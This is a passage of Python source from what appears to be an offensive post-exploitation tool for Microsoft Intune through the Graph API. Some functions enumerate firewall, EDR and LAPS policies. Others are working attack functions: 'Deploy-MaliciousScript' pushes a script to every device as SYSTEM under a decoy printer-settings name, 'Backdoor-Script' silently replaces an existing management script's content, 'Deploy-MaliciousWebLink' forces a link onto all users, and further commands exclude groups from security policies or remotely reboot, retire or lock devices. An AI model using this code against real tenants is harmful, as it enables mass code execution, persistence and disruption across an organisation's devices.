"vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_0": "Allow Inbound By Default", - "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection": { - "displayName": "Object Access Audit Filtering Platform Connection", - "options": { - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_0": "Off/None", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_1": "Success", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_2": "Failure", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_3": "Success+Failure", - } - }, - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop": { - "displayName": "Object Access Audit Filtering Platform Packet Drop", - "options": { - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_0": "Off/None", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_1": "Success", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_2": "Failure", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_3": "Success+Failure", - } - }, - } - - def process_setting(setting, indent=""): - setting_instance = setting.get('settingInstance', {}) - setting_id = setting_instance.get('settingDefinitionId', '') - - if setting_id in settings_map: - display_name = settings_map[setting_id]['displayName'] - print(f"{indent}{display_name} : ", end="") - else: - print(f"{indent}Setting: {setting_id} : ", end="") - if '@odata.type' in setting_instance: - setting_type = setting_instance['@odata.type'].split('.')[-1] - - if setting_type == 'deviceManagementConfigurationChoiceSettingInstance': - process_choice_setting(setting_instance, indent) - elif setting_type == 'deviceManagementConfigurationSimpleSettingInstance': - process_simple_setting(setting_instance, indent) - elif setting_type == 'deviceManagementConfigurationChoiceSettingCollectionInstance': - process_choice_collection_setting(setting_instance, indent) - else: - print(f"Unsupported setting type: {setting_type}") - - def process_choice_setting(setting_instance, indent): - choice_value = setting_instance.get('choiceSettingValue', {}) - value = choice_value.get('value', '') - - setting_id = setting_instance.get('settingDefinitionId', '') - if setting_id in settings_map and value in settings_map[setting_id]['options']: - print(f"{settings_map[setting_id]['options'][value]}") - else: - print(f"{value}") - - for child in choice_value.get('children', []): - process_setting({'settingInstance': child}, indent + " ") - - def process_simple_setting(setting_instance, indent): - simple_value = setting_instance.get('simpleSettingValue', {}) - value = simple_value.get('value', '') - print(f"{value}") - - def process_choice_collection_setting(setting_instance, indent): - choice_collection = setting_instance.get('choiceSettingCollectionValue', []) - values = [] - for choice in choice_collection: - value = choice.get('value', '') - - setting_id = setting_instance.get('settingDefinitionId', '') - if setting_id in settings_map and value in settings_map[setting_id]['options']: - values.append(settings_map[setting_id]['options'][value]) - else: - values.append(value) - print(", ".join(values)) - - def print_profile_settings(response_json, profile_type): - print(f"\n{profile_type} Profile Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if profile_type.lower() in setting_id.lower(): - process_setting(setting) - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - print("\nGlobal Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if 'global' in setting_id.lower(): - process_setting(setting) - - print("\nAudit Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if 'audit' in setting_id.lower(): - process_setting(setting) - - print_profile_settings(response_json, "Domain") - print_profile_settings(response_json, "Private") - print_profile_settings(response_json, "Public") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# display-firewallrulepolicyrules - actual firewall rules -def display_firewallrulepolicyrules(args): - if not args.id: - print_red("[-] Error: --id argument is required for Display-FirewallRulePolicyRules command") - return - - print_yellow("[*] Display-FirewallRulePolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for setting in response_json.get('value', []): - if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance": - for group in setting['settingInstance'].get('groupSettingCollectionValue', []): - rule_name = "" - rule_action = "" - rule_direction = "" - rule_enabled = "" - rule_local_ports = "" - rule_remote_ports = "" - rule_description = "" - rule_interfaces = [] - for child in group.get('children', []): - setting_def_id = child['settingDefinitionId'] - if setting_def_id.endswith("_name"): - rule_name = child['simpleSettingValue']['value'] - elif setting_def_id.endswith("_action_type"): - rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK" - elif setting_def_id.endswith("_direction"): - rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND" - elif setting_def_id.endswith("_enabled"): - rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED" - elif setting_def_id.endswith("_localportranges"): - rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) - elif setting_def_id.endswith("_remoteportranges"): - rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) - elif setting_def_id.endswith("_description"): - rule_description = child['simpleSettingValue']['value'] - elif setting_def_id.endswith("_interfacetypes"): - rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']] - rule_interfaces = ", ".join(rule_interfaces) - print(f"Rule Name : {rule_name}") - print(f"Action : {rule_action}") - print(f"Direction : {rule_direction}") - print(f"Enabled : {rule_enabled}") - print(f"Local Ports : {rule_local_ports}") - print(f"Remote Ports : {rule_remote_ports}") - print(f"Description : {rule_description}") - print(f"Interfaces : {rule_interfaces}") - print() - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# display-edrpolicyrules -def display_edrpolicyrules(args): - if not args.id: - print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command") - return - - print_yellow("[*] Display-EDRPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", - "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: - value_field = setting['settingInstance']['choiceSettingValue'].get('value') - if value_field: - cleaned_value = value_field.rstrip('_01onboard') - if cleaned_value in settings_map: - setting_text = settings_map[cleaned_value] - if value_field.endswith('_1'): - print(f"ENABLED : {setting_text}") - elif value_field.endswith('_0'): - print(f"DISABLED : {setting_text}") - elif value_field.endswith('_onboard'): - print(f"ONBOARD : {setting_text}") - else: - print(f"{setting_text} - {value_field}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# display-lapsaccountprotectionpolicyrules -def display_lapsaccountprotectionpolicyrules(args): - if not args.id: - print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command") - return - - print_yellow("[*] Display-LAPSAccountProtectionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", - "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", - "device_vendor_msft_laps_policies_backupdirectory": { - "description": "Backup Directory", - "values": { - "0": "Disabled (password will not be backed up)", - "1": "Backup the password to Azure AD only", - "2": "Backup the password to Active Directory only" - } - }, - "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days", - "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)", - "device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": { - "description": "Password Expiration Protection", - "values": { - "0": "Password Expiration Protection Disabled", - "1": "Password Expiration Protection Enabled" - } - }, - "device_vendor_msft_laps_policies_adpasswordencryptionenabled": { - "description": "AD Password Encryption", - "values": { - "0": "AD Password Encryption Disabled", - "1": "AD Password Encryption Enabled" - } - }, - "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal", - "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size", - "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name", - "device_vendor_msft_laps_policies_passwordcomplexity": { - "description": "Password Complexity", - "values": { - "1": "Large letters", - "2": "Large letters + small letters", - "3": "Large letters + small letters + numbers", - "4": "Large letters + small letters + numbers + special characters", - "5": "Large letters + small letters + numbers + special characters (improved readability)" - } - }, - "device_vendor_msft_laps_policies_passwordlength": "Password Length", - "device_vendor_msft_laps_policies_postauthenticationactions": { - "description": "Post Authentication Actions", - "values": { - "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.", - "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.", - "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted." - } - }, - "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay" - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for setting in response_json.get('value', []): - setting_instance = setting.get('settingInstance') - setting_def_id = setting_instance.get('settingDefinitionId') - if setting_instance and setting_def_id: - if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance": - choice_value = setting_instance.get('choiceSettingValue', {}).get('value') - if choice_value and setting_def_id in settings_map: - setting_text = settings_map[setting_def_id] - if isinstance(setting_text, dict): - setting_description = setting_text.get('description', setting_def_id) - setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value) - print(f"{setting_description}: {setting_value}") - else: - print(f"{setting_text}: {choice_value}") - children = setting_instance.get('choiceSettingValue', {}).get('children', []) - for child in children: - child_def_id = child.get('settingDefinitionId') - if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": - simple_value = child.get('simpleSettingValue', {}).get('value') - if simple_value and child_def_id in settings_map: - mapped_value = settings_map[child_def_id] - if isinstance(mapped_value, dict): - description = mapped_value.get('description', child_def_id) - value = mapped_value['values'].get(str(simple_value), simple_value) - print(f"{description}: {value}") - else: - print(f"{mapped_value}: {simple_value}") - elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": - simple_value = setting_instance.get('simpleSettingValue', {}).get('value') - if simple_value and setting_def_id in settings_map: - mapped_value = settings_map[setting_def_id] - if isinstance(mapped_value, dict): - description = mapped_value.get('description', setting_def_id) - value = mapped_value['values'].get(str(simple_value), simple_value) - print(f"{description}: {value}") - else: - print(f"{mapped_value}: {simple_value}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# display-usergroupaccountprotectionpolicyrules -def display_usergroupaccountprotectionpolicyrules(args): - if not args.id: - print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command") - return - - print_yellow("[*] Display-UserGroupAccountProtectionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += f"?$select={args.select}" - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': get_user_agent(args) - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - settings = response.json().get('value', []) - local_groups = [] - for setting in settings: - group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', []) - for group_setting in group_setting_collection: - children = group_setting.get('children', []) - for child in children: - child_children = child.get('groupSettingCollectionValue', []) - for child_child in child_children: - for item in child_child.get('children', []): - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype": - choice_value = item.get('choiceSettingValue', {}).get('value', '') - description = "Users/Groups" if choice_value.endswith("_users") else "Manual" - print(f"User selection type: {description}") - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action": - choice_value = item.get('choiceSettingValue', {}).get('value', '') - action_map = { - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)" - } - action = action_map.get(choice_value, choice_value) - print(f"Group and user action: {action}") - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc": - group_map = { - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests" - } - for choice in item.get('choiceSettingCollectionValue', []): - group = group_map.get(choice.get('value', ''), choice.get('value', '')) - local_groups.append(group) - if local_groups: - print(f"Local groups: {', '.join(local_groups)}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# add-exclusiongrouptopolicy -def add_exclusiongrouptopolicy(args): - if not args.id: - print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command") - return - - print_yellow("[*] Add-ExclusionGroupToPolicy") - print("=" * 80) - - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments" - assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - # get the current assignments so we don't mess up day-to-day ops - response = requests.get(assignments_api_url, headers=headers) - if response.ok: - current_assignments = response.json().get('value', []) - else: - print_red(f"[-] Failed to retrieve current assignments: {response.status_code}") - print_red(response.text) - print("=" * 80) - return - - try: - groupid = input("\nEnter Group ID To Exclude: ").strip() - except KeyboardInterrupt: - sys.exit() - - new_assignments = current_assignments + [ - { - "target": { - "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", - "groupId": groupid - } - } - ] - - body = { - "assignments": new_assignments - } - - response = requests.post(assign_api_url, headers=headers, json=body) - if response.ok: - print_green(f"\n[+] Excluded group added to policy rules") - else: - print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# deploy-maliciousscript -def deploy_maliciousscript(args): - if not args.script: - print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command") - return - - print_yellow("[*] Deploy-MaliciousScript") - print("=" * 80) - script_content = read_file_content(args.script) - - try: - display_name = input("\nEnter Script Display Name: ").strip() - description = input("Enter Script Description: ").strip() - runasaccount = input("Run As Account (user/system): ").strip().lower() - sigcheck = input("Enforce Signature Check? (true/false): ").strip().lower() - runas32bit = input("Run As 64-bit? (true/false): ").strip().lower() - if runasaccount not in ['user', 'system']: - print("Invalid input for Run As Account. Defaulting to 'user.") - runasaccount = 'user' - if sigcheck not in ['true', 'false']: - print("Invalid input for Enforce Signature Check. Defaulting to 'false'.") - sigcheck = 'false' - if runas32bit not in ['true', 'false']: - print("Invalid input for Run As 64-bit. Defaulting to 'false'.") - runas32bit = 'false' - except KeyboardInterrupt: - sys.exit() - - user_agent = get_user_agent(args) - url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" - headers = { - "Authorization": f"Bearer {get_access_token(args.token)}", - "Content-Type": "application/json", - "User-Agent": user_agent - } - - encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') - script_payload = { - "@odata.type": "#microsoft.graph.deviceManagementScript", - "displayName": display_name, - "description": description, - "runSchedule": { - "@odata.type": "microsoft.graph.runSchedule" - }, - "scriptContent": encoded_script_content, - "runAsAccount": runasaccount, - "enforceSignatureCheck": sigcheck == 'true', - "fileName": "Deploy-PrinterSettings.ps1", - "runAs32Bit": runas32bit == 'true' - } - - response = requests.post(url_create, headers=headers, json=script_payload) - if response.status_code == 201: - print_green("\n[+] Script created successfully") - script_id = response.json().get('id') - print_green(f"[+] Script ID: {script_id}") - url_assign = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign" - - try: - assignments = [] - assign_all_devices = input("\nAssign to all devices? (yes/no): ").strip().lower() - if assign_all_devices == 'yes': - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" - } - }) - assign_all_users = input("Assign to all users? (yes/no): ").strip().lower() - if assign_all_users == 'yes': - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" - } - }) - assign_specific_group = input("Assign to specific group? (yes/no): ").strip().lower() - if assign_specific_group == 'yes': - group_id = input("Enter Group ID: ").strip() - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.groupAssignmentTarget", - "groupId": group_id - } - }) - add_group_exclusion = input("Add group exclusion? (yes/no): ").strip().lower() - if add_group_exclusion == 'yes': - exclusion_group_id = input("Enter Group ID to Exclude: ").strip() - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", - "groupId": exclusion_group_id - } - }) - - except KeyboardInterrupt: - sys.exit() - - assignment_payload = { - "deviceManagementScriptAssignments": assignments - } - - response = requests.post(url_assign, headers=headers, json=assignment_payload) - if response.status_code == 200: - print_green("\n[+] Script assigned successfully") - else: - print_red(f"[-] Failed to assign script: {response.status_code}") - print(response.text) - else: - print_red(f"[-] Failed to create script: {response.status_code}") - print(response.text) - print("=" * 80) - -# backdoor-script -def backdoor_script(args): - if not args.id or not args.script: - print_red("[-] Error: --id and --script required for Backdoor-Script command") - return - - print_yellow("[*] Backdoor-Script") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - # 1. get current target script settings and encode new script content so we don't override anything - # - could add option to alter pre-existing settings - try: - script_content = read_file_content(args.script) - encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') - except Exception as e: - print_red(f"[-] Error reading or encoding script file: {e}") - return - - response = requests.get(api_url, headers=headers) - if response.ok: - json_data = response.json() - json_data.pop('@odata.context', None) # remove or 400 err - json_data.pop('id', None) # remove or 400 err - json_data.pop('createdDateTime', None) # remove or 400 err - json_data.pop('lastModifiedDateTime', None) # remove or 400 err - json_data['scriptContent'] = encoded_script_content # replace with our new script content - else: - print_red(f"[-] HTTP Error: {response.status_code}") - print_red(response.text) - return - - # 2. patch script with updated script content - patch = requests.patch(api_url, headers=headers, json=json_data) - if patch.ok: - print_green("\n[+] Patched device management script successfully\n") - json_data = patch.json() - script_content = json_data.get('scriptContent') - if script_content: - decoded_script_content = base64.b64decode(script_content).decode('utf-8') - json_data['scriptContent'] = decoded_script_content - json_data.pop('@odata.context', None) - json_data.pop('scriptContent', None) - for key, value in json_data.items(): - print(f"{key} : {value}") - if script_content: - print_green("scriptContent :\n") - print(decoded_script_content) - else: - print_red(f"[-] Error patching device management script: {patch.status_code}") - print_red(patch.text) - print("=" * 80) - -# deploy-maliciousweblink -def deploy_maliciousweblink(args): - print_yellow("[*] Deploy-MaliciousWebLink") - print("=" * 80) - - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - try: - # all required - appUrl = input("\nApp URL: ").strip() - description = input("Description: ").strip() - displayName = input("Display Name: ").strip() - publisher = input("Publisher: ").strip() - isFeatured = input("Show this as a featured app in the Company Portal? (true/false): ").strip().lower() - if isFeatured not in ['true', 'false']: - print("Invalid input for Company Portal. Defaulting to 'False'.") - isFeatured = 'False' - except KeyboardInterrupt: - sys.exit() - - json_body = { - "@odata.type": "#microsoft.graph.windowsWebApp", - "appUrl": appUrl, - "categories": [], - "description": description, - "developer": "", - "displayName": displayName, - "informationUrl": "", - "isFeatured": isFeatured, - "notes": "", - "owner": "", - "privacyInformationUrl": "", - "publisher": publisher, - "roleScopeTagIds": [] - } - - response = requests.post(api_url, json=json_body, headers=headers) - if response.ok: - result = response.json() - print_green("\n[+] Malicious web link app deployed successfully") - - appid = result['id'] - print(f"\nApp ID: {appid}") - - assign_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{appid}/assign" - assign_body = { - "mobileAppAssignments": [ - { - "@odata.type": "#microsoft.graph.mobileAppAssignment", - "target": { - "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" - }, - "intent": "Required", - "settings": None - }, - { - "@odata.type": "#microsoft.graph.mobileAppAssignment", - "target": { - "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" - }, - "intent": "Required", - "settings": None - } - ] - } - - assign = requests.post(assign_url, json=assign_body, headers=headers) - if assign.ok: - print_green("\n[+] Web link app assigned successfully") - else: - print_red(f"\n[-] Failed to assign web link app: {response.status_code}") - print_red(response.text) - else: - print_red(f"[-] Failed to create web link app: {response.status_code}") - print_red(response.text) - - print("=" * 80) - -# deploy-maliciouswin32app -# - user will have to packagae app prior -# https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/ -# https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/ -# -# POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/ -# {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"} -# -> need to add install/uninstall instruction batch script -def deploy_maliciouswin32msi(args): # not working obvs - url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" - # add the option to be available in the company portal for download - data = { - "@odata.type": "#microsoft.graph.win32LobApp", - "applicableArchitectures": "x64,x86", - "allowAvailableUninstall": False, - "categories": [], - "description": "IntuneMessageBox", - "developer": "", - "displayName": "IntuneMessageBox", - "displayVersion": "", - "fileName": "IntuneMessageBox.intunewin", - "installCommandLine": "IntuneMessageBox.exe", - "installExperience": { - "deviceRestartBehavior": "suppress", - "maxRunTimeInMinutes": 30, - "runAsAccount": "system" - }, - "informationUrl": "", - "isFeatured": False, - "roleScopeTagIds": [], - "notes": "", - "minimumSupportedWindowsRelease": "1607", - "msiInformation": None, - "owner": "", - "privacyInformationUrl": "", - "publisher": "ECorp", - "returnCodes": [ - {"returnCode": 0, "type": "success"}, - {"returnCode": 1707, "type": "success"}, - {"returnCode": 3010, "type": "softReboot"}, - {"returnCode": 1641, "type": "hardReboot"}, - {"returnCode": 1618, "type": "retry"} - ], - "rules": [ - { - "@odata.type": "#microsoft.graph.win32LobAppFileSystemRule", - "ruleType": "detection", - "operator": "notConfigured", - "check32BitOn64System": False, - "operationType": "exists", - "comparisonValue": None, - "fileOrFolderName": "IntuneMessageBox.exe", - "path": "C:\\Program Files\\IntuneMessageBox.exe" - } - ], - "runAs32Bit": False, - "setupFilePath": "IntuneMessageBox.exe", - "uninstallCommandLine": "IntuneMessageBox.exe" - } - -# deploy-maliciouswin32msi -# - todo -# def deploy_maliciouswin32msi(args): - -# update-deviceconfig -def update_deviceconfig(args): - if not args.id: - print_red("[-] Error: --id required for Update-DeviceConfig command") - return - - properties = [ - { - "Property": "ownerType", - "Description": "Ownership of the device. Possible values are, 'company' or 'personal'. Default is unknown. Supports $filter operator 'eq' and 'or'. Possible values are: unknown, company, personal." - }, - { - "Property": "managedDeviceOwnerType", - "Description": "Ownership of the device. Can be 'company' or 'personal'. Possible values are: unknown, company, personal." - }, - { - "Property": "managedDeviceName", - "Description": "Automatically generated name to identify a device. Can be overwritten to a user friendly name." - }, - { - "Property": "notes", - "Description": "Notes on the device created by IT Admin. Default is null. To retrieve actual values GET call needs to be made, with device id and included in select parameter. Supports: $select. $Search is not supported." - }, - { - "Property": "roleScopeTagIds", - "Description": "List of Scope Tag IDs for this Device instance." - }, - { - "Property": "configurationManagerClientHealthState", - "Description": "Configuration manager client health state, valid only for devices managed by MDM/ConfigMgr Agent." - }, - { - "Property": "configurationManagerClientInformation", - "Description": "Configuration manager client information, valid only for devices managed, duel-managed or tri-managed by ConfigMgr Agent." - } - ] - - print_yellow("[*] Update-DeviceConfig") - print("=" * 80) - print("\033[34m[>] Device Properties: https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update\033[0m\n") - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices('{args.id}')" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - table = [[prop["Property"], prop["Description"]] for prop in properties] - separator = ['-' * 20, '-' * 50] - tablenew = tabulate([["Property", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left")) - print(tablenew) - - try: - prop = input("\nEnter Property: ").strip() - newvalue = input("Enter New Value: ").strip() - except KeyboardInterrupt: - sys.exit() - - json_body = { - prop : newvalue - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Device config updated successfully") - - else: - print_red(f"\n[-] Failed to update device config: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# reboot-device -def reboot_device(args): - if not args.id: - print_red("[-] Error: --id argument is required for Reboot-Device command") - return - - print_yellow("[*] Reboot-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device reboot initiated successfully") - else: - print_red(f"[-] Failed to initiate device reboot: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# retire-device -def retire_device(args): - if not args.id: - print_red("[-] Error: --id argument is required for Retire-Device command") - return - - print_yellow("[*] Retire-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device retire initiated successfully") - else: - print_red(f"[-] Failed to initiate device retire: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# lock-device -def lock_device(args): - if not args.id: - print_red("[-] Error: --id argument is required for Lock-Device command") - return - print_yellow("[*] Lock-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - 